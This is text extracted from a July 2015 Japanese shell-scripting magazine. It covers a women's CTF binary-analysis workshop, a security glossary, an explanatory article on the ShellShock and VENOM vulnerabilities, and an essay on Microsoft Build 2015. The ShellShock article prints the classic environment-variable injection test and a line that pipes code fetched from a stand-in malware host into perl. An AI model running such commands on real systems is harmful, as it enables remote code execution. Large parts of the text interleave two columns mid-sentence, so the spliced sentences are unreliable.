Girlsって響きが優しそう？

SECCON ? CTF？

大人気な勉強会？
ソフトウェア解析？
ハードル高い？
バイナリ解析？

セキュリティのコンテストって何だろう？

そもそもなぜ、女性主体のセキュリティ勉強会を？

CTF とは、Capture The Flagの略で、騎馬戦などの野外ゲーム発起人の中島明日香さんは、NTTセキュアプラットフォーム研のこと。
そこから派生し、ITセキュリティ分野でも技術競技として使われている。
セキュリティの競技というのは、暗号解読やソフトウェア解析などで、いかにスマートで短時間に問題をクリアするかというもの。
日本ではSECCONというイベントが毎年開催され、多くの方がチャレンジされています。
今回潜入した勉強会は女性向けのワークショップ。
セキュリティエンジニアの中でも数少ない、女性のエンジニアが発起した、エンジニア女子から人気の高い勉強会。3回目のこの会も、集客と同時に満席になるという、本家も驚く人気ぶり。

42015 July究所にお勤めのバリバリ働く若手。
セキュリティについて学ぶために勉強会やイベントに参加しても、周りは男性だらけ。
「興味や意欲があって、いざ参加しようとしても男性ばかりで気後れしてしまい、チャンスを逃している女性が多いのではないかしら？」と、疑問を持ち始めたことがきっかけで、この勉強会を企画されたとのこと。え？バイナリ？

問題 、初心者 には難しくな いですか？

バイナリで表現されたデータやプログラムの意味を学び、セキュリティホールやコンピューターウィルスを解析するための技術を、CTFの問題を解く事を通じて身につけましょう、というのが今回の勉強会の趣旨。
binaryとは二進法の意味の英単語。
コンピューターが理解できるのは0と1の羅列。
これで表現された数値のデータのことを一般的に「バイナリ」と呼びます。
人が簡単に読めるテキスト（文字）ではないものです。
なんだか本当に難しそう。
でもスイーツがあるからがんばるか。
無事潜入に成功した初心者は、静かにお話を聞きます。

そのツール、どこで入手できる？

実際の問題は、初心者向けのものでも難易度が高いもの来場者全員が、ソフトウェア解析用のツールをダウンロードして、でした。
どんなプログラムか把握し、プログラムをOllyDbgインストールするところからのスタート。
初心者も安心なのは、詳しいスタッフさんが手厚くサポートしてくれるから。
今回のツールはこちら、「OllyDbg（オリーデバッガ）」。
公開ホームページ（http://www.ollydbg.de/）からダウンロードできる。

で開き、バイナリを読んでみるわけです。
そしてヒントを見つけ、最終的に「Flag」となるキーワードや短文を見つけるというもの。
アセンブリ言語が分かるか、またはバイナリをある程度理解できていないと、初心者には大変難しいと感じました。
初心者問題例問題タイトル「ID Please」スタート↓IDを促すプログラムバイナリの次はアセンブリ？

↓IDが間違っていれば古くからコンピュータのお仕事に携わっていた人からよく聞く再度入力が求められる。

この「アセンブリ/アセンブラ」という単語。
機械が理解できるの↓はバイナリで、それに近い人間が理解できる形式に直したもの、それがアセンブリということらしいのだが…

プログラムをOllyDbgで開き、IDがバイナリでどこかに書いてあるのでそれを見つける↓見つけたIDをプログラム上に入力すると、Flagの答えが！
↓ゴール

5

提供プリンの頭使いましたからね、（いや実際、手がまったく動かなかったけど）甘いものでリフレッシュ！
もくもくと問題を解く参加者たちん大会じゃんけ編集部撤退…
勉強会が開催されたビルがとても大きく見えたのはなぜでしょう…
シェルスクリプトマガジンの男性読者様から、女性の正面写真が足りない、ってお声が聞こえてきそうです。
が、運営からの強いお願いで正面からの写真撮影は基本NGでした。
「女性であることを特別視してほしくない」という声もあり。欲しいのは仲間たちと勉強をする機会のみ。
彼女たちが、一般の勉強会に堂々と参加するような日が来る、その日も近い…と思った、2015年桜も散った春の夜でした。

62015 July

そもそもセキュリティ用語わからないよ？

初心者は怖がらないで、もっとセキュリティに興味を持とう！
用語を知って身近なニュースや、最新情報をGETしよう！

１．
DoS（どす）攻撃（Denial of Service attack）

６．
パスワード・クラックなんらかのサービスやソフトウェアに過剰な負荷をかけて、使えなパスワードを割り出す行為のこと。
一般的なものは、類推したくする攻撃の事をDoS攻撃という。
サービス不能攻撃ということも。

パスワードを試したり、総当たり攻撃を行ったりする。これらのDenialとは拒絶という意味。
攻撃元を分散し、集中して負荷をかけほかに、パスワードをリカバリーさせる為のパスワードクラッることをDDoS（Distributed DoS）攻撃という。

クソフトウェアや、訴訟支援用のソフトウェア（フォレンジック２．
脆弱性（vulnerability）ツール）などがある。

情報セキュリティにおける安全上の欠陥、弱点のこと。
本来の目的７．フィッシング詐欺から外れた操作や不正行為を行うための入り口として悪用され正規の組織を装った偽メールを送信し、ログイン情報や口座る。
特に技術的な欠陥を「セキュリティホール」と区別することもあ番号などの個人情報を詐取する行為。
フィッシングサイトに誘る。
近年では、オープンソースやサポートが終了したバージョンで導して情報を入力させる手口が使われている。
感染したマルも発見され、大きく報道されることが増えてきている。

ウェアによって、利用者が正規のサイトにアクセスした場合に３．
情報セキュリティポリシー機密情報の適切な取扱い方法を定めた管理規則（ルール）のこと偽の情報入力画面を表示したり、意図しない振込を実行されるものは、オンラインバンキングマルウェアとして区別される。

で、政府や企業などの団体が作成する。
機密情報漏えい防止だけ

８．
セキュリティインシデントでなく、ポリシーを策定し公開することで、責任の所在を明確化すコンピュータセキュリティに関係する事象を指し、主に意図的・るという目的もある。
また、判断基準を明確にすることで、団体に所偶発的を問わず事件や事故を意味する。

属する者の意識を向上させたり、対外的なイメージ向上といった効果も期待される。

９．
JPCERTコーディネーションセンター日本が関係するセキュリティインシデントについて警告、注

４．
ポートスキャン意喚起をする。主な活動としては、「インシデント対応」「脆弱サーバ等で開いているポートを探す行為。
HTTPは80番ポート、性情報法ハンドリング」「インターネット定点観測」「早期警SSHは22番ポート、TELNETは23番ポート、SMTPは25番ポートとい戒」の4つがある。英語の正式名称は「Japan Computer Emergen-うようにサービス毎に一般的に使用されるポートが決まっている。

cy Response Team Coordination Center」で、略称は「JPCERT/CC」。

ポートが開いている（ポートを開けている）サービスに脆弱性があhttps://www.jpcert.or.jp/る場合に、悪用して侵入される可能性がある。
また、ネットワーク管理者が、システムに脆弱性が無いかを調べる際にも利用する。
５．
バッファオーバーフロー１０．
FIRSTCSIRTの世界的な集まり。
国際的な非営利団体。
セキュリティインシデントの情報を集め、すみやかに対応する対策などを協メモリ上のバッファ領域がオーバーフローすること。
これを利用し、議して実 行 する団 体。19 9 0 年に設 立され 、2 5年 が 経 つ。

悪意のあるコードをセットし、プログラムを誤動作させる攻撃などがhttp://www.ﬁrst.org/ある。

（はじめに より）「なぜ、あのとき、あれほどまでにコンピュータにハマったのか？ それは『プログラミングがおもしろかったから』。自分の描いたコードが書いたとおりに動くことが、思ったとおりに動かないことが、その理由を探すことが、ただただ楽しかったからだ。」私は、動かないときにどうすればいいかわからず、自分には難しいと思ってしまった人間でした。
だから「動かない理由を探すことも楽しい」という表現に惹かれ、技術ができたら格好いい、コンピュータが好きで気になる、といった憧れを憧れのままにするのではなく、自分が諦めないことで、少しずつでも知っていこうと思いました。付帯したサンプルファイル（データでダウンロード）をいきなり動かしてみるこの本に挑戦しています。

バイナリの世界を突き詰めた先の一つに、マルウェア（＝悪意を込められたソフトウェア）解析があります。
「アセンブリ言語を読むことを極力小さくした」というこの1冊で、マルウェアの仕組みを知ることができます。

7

脆弱性の話題からwriter すずきひろのぶCVE-2014-6271/ShellShock2014年9月24日(日本時間25日)に公開されたGNU Bashの脆弱性C VE-2014 - 6271の話 題は1つの脆弱性ではなく、CVE-2014-6271から始まる一連の脆弱性の問題でした。
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271CVE番号原因はbashのコードの中でパーシング(構文解析)をする部分の設計が甘かったため、異常系の処理の抜けがあり、そこがバグになって最後はバッチ的にシェルで動かすことができる任意のコマンドが実行されるという結果になります。
実際にパッチが当たったコードをみてみると、単純なコードミスというより、非常に見通しがわるくこのコードを書いた人も異影響CVE-2014-6271 任意のコードの実行CVE-2014-6277 サービス運用妨害(DoS)CVE-2014-6278 任意のコードの実行CVE-2014-7169 任意のコードの実行CVE-2014-7186 サービス運用妨害(DoS)CVE-2014-7187 サービス運用妨害(DoS)シェルスクリプトマガジンでshellとは何かを説明する必要もないので飛ばして、まずShellShockと呼ばれたCVE-20146271は何だったのかを説明しましょう。
どんな動作をするかは次の通りです。
●シェル環境変数に名前のない関数と任意のシェルコマンドを設定するとそのシェルコマンドを実行されて常入力があった場合、どう処理されるかわかっていなかったと思います。
筆者でも、これはコードを見ただけではわからないし、テストケースを考えるにしても、うまくテストケースが作れて誤りを見つけられたかどうかの自信はありません。
逆に、よくこんな異常ケースを見つけたものだと感心します。発見者のStephane Chazelasはオープンソースデベロッパーですが、仕事などとは関係なくbashをメンテしていて発見し、bashのメンテナーにこの報告をしたようです。
実際、このコードは1989年9月のBash バージョン1.03のリリース時から存在していました。
つまりこのバグは四半世紀も誰にも気づかれずにコードの中に隠れていたのです。
もちろん、もしかしたら、既に誰かが知っていて密かに悪用していた可能性は（少なくとも筆者は）否定しません。
ずいぶん長く隠れていたものです。
これが脆弱性の怖い所です。
何年も問題なく使っていることと、そこにソフトウェアのバグがない（脆弱性がない）といしまう。

うことは別なのです。
戦術輸送機や戦闘機など軍用航空機にも●そのシェル環境変数を受け継いでいる環境でbashが年間気づかれずに存在していた例も過去にはありますので、使われているアビオニクスのソフトウェアにも重大なバグが25起動されると、以前に設定されていた任意のシェルコマンドが実行されてしまう。

82015 July別にオープンソースに限られるわけではありません。
ソフトウェアというものの本質的な性質なのでしょう。具体例もしかすると、そんな単発のシェルコマンドで何が出来るのかと思う人もいるかも知れません。
でも、ruby、perl、php、pythonでは具体例をみてみましょう。
CVE-2014-6271の脆弱性をもシェルで呼び出されるコマンドだ、ということを忘れないでく持っているbashは次のような動作になります。
これは既に何ださい。度も見ている例だとは思いますが、次のようになります。
% curl http://malware.example.com/malware-drop.cgi |% env 'x=() { :;}; echo CVE-2014-6271' bash -cperl"echo TEST"CVE-2014-6271TESTと呼び出されたらperlで好きなことが出来ます。
CVE-2014-6271はRAT (Remote Access Tool) Trojan そのものです。
行数の制限もありませんし、しかも標準入力から入力さつまり、x=() { :;}; の後ろに続く任意のシェルコマンドが実行されているので、どこにも実行されたスクリプトが残りません。
つれるわけです。
WebサーバのCGIのスクリプトに外部から環まり後から何をされたのかをコードから探そうとしても最初か境変数を与えることが出来るので、CGIスクリプトがシェルでら無理なのです。書かれていて、かつそのシェルがbashだった場合、CGI経由で任意のシェルコマンドがWebサーバ上で実行されます。
まシェル環境変数をネットワーク経由で渡すのはWebサーバのだCGIスクリプトがシェルで書かれているなら、それをチェッCGIだけではありません。
DHCPはサーバ側からクライアントにクすれば良いのである程度は簡単にみつけることができまシェル環境変数を渡すことができます。
つまりroot権限で任意す。
しかし、ruby、perl、php、pythonといった言語でかかれてのコマンドが実行されるかも知れないということです。
SFTPでいて、どこかでsystem関数が呼ばれてそこでbashが呼ばれ匿名アカウントを提供している場合、中身はSSHなので、もしていたら、この問題は発現します。
それを見つけるのは不可AcceptEnv/SendEnvでシェル環境変数を渡すことが出来る設能ではないにしても大変めんどうです。定にしてあれば外部から匿名ユーザが任意のコマンドを実行できることになります。

デフォルトのシェル/bin/shは、/bin/dashへのリンクなので大丈夫、とか思っているかも知れませんが、/binや/usr/binの中ですから、もし、CVE-2014-6271の脆弱性が放置されていたなにあるシェルでかかれたコマンドで #!/bin/bash と直接指定らば、とても厄介なことになります。

しているものはたくさんあります。
CGIで呼び出されたプログラムで使っているライブラリか何かでbashを呼び出していれば、そこでアウトです。

9

Webサーバのログを覗いてみるともし去年のWebサーバのアクセスログやエラーログにアクセスできるなら、そこに痕跡がどれだけあるかチェックしてみてください。
本当にうんざりするほどあるはずです。
今でも月に何回かは記録されているはずです。その中にはbashで書かれている定番CGIプログラムがないかチェックしているものや、そのものずばり'GET /'でShellShockを使えるかどうか試しているものもたくさん見つかることでしょう。ホストのハイパーバイザをコントロールできるので、ゲスト仮想マシンの通信も読める可能性は高いでしょう。
攻撃者が支配しているゲスト環境からホスト環境側のFDCはホスト側が使っておらず環境設定をしていなくてもカーネルから呼び出せるので、この脆弱性を利用することが可能です。
短く言えば、最悪な脆弱性です。脆弱性の影響度を示す評価値であるCVSSが10.0満点中10.0という、これ以上の危険を示す数値はない評価がされています(ちなみにCVE-2014-6271/ShellShockもCVSS 10.0です)。
ゲスト側の管理者(クラウド利用者)が、どんなに自分たちがセとにかく下手な鉄砲も数うちゃあたるで試しまくっています。
netcraftによれば2015年1月段階でnetcraftの調査ボットに反応するアクティブなWebサーバは約1億台あるそうです。
これだけ母数があれば、bashのセキュリティアップデートはしていない上にCGIスクリプトでbashが呼び出されている定番のWebアプリが乗っているという最悪条件のWebサーバがたとえ10万台に1台であったとしても、インターネット上には数百台というレベルで存在していたということになるでしょう。

キュリティに注意して管理していても、自分たちの手の及ばない仮想マシンを提供する側(データセンター側)が管理し対応してくれなければお手上げです。

QEMU FDCXen 4.5.x系とKVMに関してはセキュリティアップデートをして最新のものに入れ替える必要があります。
Oracle VirtualBoxはQEMUを部分的に使っていているものと、ないものがあります。
最新のVirtualBox 4.3系では問題は発生しませんが、VirtualBox 4.2系、4.1系、4.0系、3.2系では問題が発CVE-2015-3456/VENOMVENOMと呼ばれているCVE-2015-3456はXen 4.5.x以前のバージョンとK V M の 仮 想 マシン環 境で 使 わ れているQEMUのフロッピー・ディスク・コントローラ(FDC)の脆弱性により、仮想マシンで動作しているゲストからホストに対して任意のコードを実行できてしまいます。
クラウド環境やVPS環境でゲストの仮想マシンを利用している攻撃者が、ホストを自由にコントロールできるため、同一ホスト上で動いている他のゲスト仮想マシンを自由にコントロール出来ます。
ゲスト仮想マシンで使っているファイルシステムが暗号化されていないならば、攻撃側は何でもデータを読めます。
もしファイルシステムが暗号化されていてデータが読めない場合、そのままファイルシステム（ボリューム）をまるごと消すことでしょう。

102015 July生するため最新のもの(4.2.30、4.1.38、4.0.30、3.2.28 以降)にアップデートする必要があります。
一方でQEMUベースのハイパーバイザをまったく使っていない影響を受けない仮想マシン環境もいくつかあります。
たとえばAmazon Web Service (AWS)はXenを使っていますが影響を受けません。
もちろんVMwareや MS Hyper-Vなども影響をうけません。実務環境では大変アップデートするにはゲストの仮想マシンを停止させる、ホスト側をアップデートする、ゲスト側の仮想マシンを再立ち上げする、という作業が必要です。

しかしShellShockやVENOMのような名前もつきませんでしたし、こんなにあちらこちらで大騒ぎもしませんでした。
ましてやheatbleedのような公式ロゴもありません(まあShellShockも公式ロゴはありませんでしたが)。

ホスト環境もゲスト環境も1人あるいは1社の管理者もしくは管理組織で判断してアップデートするならば、自分たちのスケジュールでどうにかなるでしょう。
しかしこれがクラウドサービス事業者、データセンター運営組織であったら仮想マシン上でいくつものゲストの仮想マシンのインスタンスが動いていて、その上で実務のサービスが走っているわけなので、そうそう簡単には止められません。
大変な作業でしょう。

CVSS 10.0脆弱性の影響度を示す評価値であるCVSSが10.0満点中10.0というのは、最大級の脆弱性であるという意味です。

ShellShockの語源は第一次世界大戦の塹壕戦で兵士が精神的にやられる症状のことをいいます。
ShellShockには公式のロゴは無く「、shellshock logo」で検索すると様々な画像が出てきます。

Bashの脆弱性 CVE-2014-6271/ShellShockは影響範囲が広く、ゼロデイ・アタックが行われていたら、かなり厳しいものでした。
QEMU FDCの影響によりXenやKVMの脆弱性として発現した、CVE-2015-3456/VENOMも最悪な状況を招くものです。
こちらの対処はまだ現在進行形です（2015年6月現在）。
大変やっかいな脆弱性です。
でも、CVSS 10.0は、そんなに珍しいことではないのです。
最悪を意味するCVSS 10.0という脆弱性はみなさんの身近な所であったのです。
それはCVE-2015-0313です。
これはAdobeFlash Player 16.0.0.296およびそれ以前のバージョンで任意のコードが実行できる脆弱性を持っています。
PCユーザで、この脆弱性の影響を受けない人は、ほぼいないのではないでしょうか。
大変に影響範囲は大きいです。

評価値で判断しましょう。
ロゴや名前がなくても影響が大きいものは公表されていますが、すべてのメディアで話題になるわけではありません。脆弱性に名前がついたから、Webメディアで騒いでいるから取り分け影響度が大きいとは思わないでください。
CVE-2015-0313なんかもそうでしたが、時々、影響度が大きいにも関わらず、あんまり話題にもならず、もしかして見過ごされているのではないかと筆者は不安になる時があります。
きちんと脆弱性の影響度を理解するためにはCVSSの値をまず見ることをお薦めします。
世間の騒ぎが大きい小さいかは関係ありません。
CVE-2014-6271もCVE-20153456もCVE-2015-0313もCVSS値が10.0であり、どれも影響度は同様に大きいのです。

11

シェルスクリプトマガジンの中で最も技術から遠いコンテンツなるかと…。
お気楽な時間つぶしの記事だと思ってお読みいただけるとうれしいっす。
特にこれといったテーマを設けないで、あれやこれや雑談をしたいと考えています。はじめにシェルスクリプトマガジン愛読者のみなさんこんにちは。前回のIT散歩日記はいかがでしたか？あ、読んでいない。失礼しました。
そうですよね、何の役にもたたないコラムを読むなんてことは、多忙なあなたにはムダですものね。
でもまあ人生においてムダなこともたまには必要かもしれません。
今回は先日出張でいった米国カリフォルニア州サンフランシスコのことを書きたいと思います。

STARTTokyoシェルスクリプトマガジンの読者のみなさん、こんにちは、よしおかひろたかと申します。

打ち切りにならないように頑張ります（頑張らないけど）。

ひょんなことからこの雑誌でエッセイを連載（？）
させていただくことになりました。

散歩出張編 cisconarSan FMicrosoft社のBuild 2015というカンLinuxの流行・普及に目を付けたエンファレンスがあって、それに参加しましタープライズ企 業 が 第 三のO Sとしてた。BuildはMicrosoft社のソフトウェアLinuxをビジネスに担ぎだしました。そ開発者向けのカンファレンスで世界中れが2000年前後です。

の開発者が集まって来ました。今回、わたしは日本マイクロソフトの方に誘われ当時わたしはOracle社にいてOracle 8て初めて参加です。

のカーネル開発（SQLのエンジン）をしていてシリコンバレーにいたのですが、前職はミラクル・リナックスという会社でOSSというなんだかとんでもないものがオープンソースソフトウェア(OSS)のビ始まったことをよく覚えています。

ジ ネ ス を どっ ぷ りし て い た の で 、Microsoft社の製品を使うこともなかっインターネットが爆発的に普及しはじめたので、人生何が起こるかわからないもた1995年ころのMicrosoft社はBillのです。

Gatesが現役中の現役でばりばり陣頭指 揮をとっていたので、すばやくインOSSはみなさんご存知のように1998年ターネットに対応しました。その一つがころ当時Webブラウザーを製造販売しNetscape社など急速にインターネットていたNetscape社が自社のWebブラで成長している会社を徹底的に叩き潰ウザーのNetscape Navigatorのソースす戦略でした。
それが後に米国司法省とコードを公開したことから始まります。の係争に発展する訳ですが、それはそれとして。

422015 July

インターネット時代になって、人々が使うものがPCだけではなく、携帯、スマートフォン、クラウドに変化し、PCでの支配力が 相 対 的 に 低 下 す ると 、か つ て のMicrosoft社の影響力がみるみるうちになくなってきました。
結 局 自 社 製 品 だけで 囲 い 込 むことはMicrosoft社といえども不可能な時代になったのです。
そしてそれを象徴するのが今回のBuild2015でした。
パートナー企業のブースがあったのですが、そこに出展している企業はかつてのMicrosoftのパートナー像ではなかったSan Franciscoです。かつてはWindows向けのアプリケーションを開発販売しているISVなどがGOAL出 展していたと思われますが 、今 回のパートナーにはChef、Docker、DataStax、GitHub、Zend、Canonical、Cloudera などなどLinuxの世界ではおなじみのベンそんなIT業界の巨人がOSSを快く思う訳今回、Build 2015でのキーノートスピーがなくて、様々な妨害工作を試みるのでチでも、クラウドやモバイル戦略の発表すが、OSSという実体があるのかないののなかで何度もLinuxやOSSという単語かわからないものに対応に苦慮するとを聞きました。大きく分けて１）クラウド、いうのが2000年代初頭です。

２）開発プラットフォーム、
３）Windows 10という３分野の発表がされたのですが、当時わたしはOSSでビジネスする側にい前半の1と２の部分ではWindows 10 とたものですから、水と油というか、あなたいう言葉がほとんど出てこなくて、わたしの戦略はよくわかるのだけど、ビジネスたちは一体どこの会社のキーノートを聞上なかなか分かり合えないよね、といういているのだという感覚さえ覚えました。

ような立場でした。
ましてや協業するとかありえないでしょうという感覚だったかつてのMicrosoft社であればすべてののを覚えています。

機能を自社が提供する、すなわちOSも開発プラットフォームも、データベースエということで長い間Microsoft社とOSSンジンもオフィスも提供するというビジコミュニティーは分かり合えない関係がネスモデルでした。
それは2000年ごろま続いた訳ですが、それが徐々に変わってでのPCの圧倒的な支配の時代には大きました。特にSteve Ballmerが引退し変よく機能していました。

Satya NadellaがCEOになって以降、OSSに対する戦略が明確に変わったようダーが多数出展していました。
キーノートでもDockerとかHadoopがどーだこーだといたるところでふれられていました。本当にMicrosoft社のカンファレンスだったんでしょうか。
Visual Studioのような開発ツールもWindowsだけではなく、MacとLinuxでも動くようになりました。
それがWindowsの最強のIDEだとしてもMacやLinuxでは使えなかったのでクロスプラットフォームの開発には難儀していた開発者にとってはなじみのツールで開発できるというのは学習コスト削減以上のメリットがあるかもしれません。
Microsoft社が今まで距離をおいていたOSSやバザール開発という、ソフトウェアエコシステムの破壊的イノベーションに、ついに対応をはじめたというのが今回の印象です。

に感じます。

43ア！
ニケージエンジニこれであなたもユユニケージ開発手法教育講座「ユニケージ開発手法教育講座」は、ユニケージ開発手法におけるデータ管理の方法や、オリジナルコマンドの使用方法などをハンズオン形式で具体的に学べる講座です。UNIX の基礎からユニケージ開発手法による開発プロジェクトの進め方まで、ユニケージエンジニアとしてのトータルスキルを習得できます。

http://www.usp-lab.com/LECTURE/CGI/LECTURE.CGI
ジユニケー
講座基礎技術充実中！
続々と新講座もK - BASICユニケージ基礎編K - WEBWEBアプリケーション編K - BATCHバッチ処理編（ウェブアプリケーション処理）K - ARCHユニケージアーキテクチャ編K - SETUPユニケージ開発環境セットアップ編K - UNYOシステム運用・管理編K - PROJECTプロジェクトマネジメント・人材育成編K - SQL速習：SQL からの移行編K - STATユニケージにおける統計コマンド編UNIX 初心者のための講座などもご用意しています。
技術の草原で百獣の王を目指すエンジニアたちの新感覚トークライブ！

http://techlion.jp/上記のサービス内容は 2015 年 6 月現在のものです。最新の情報はホームページにてご確認ください。

ISBN 978-4-904807-21-7C3455 ￥500USP 研究所定価（本体 500 円＋税）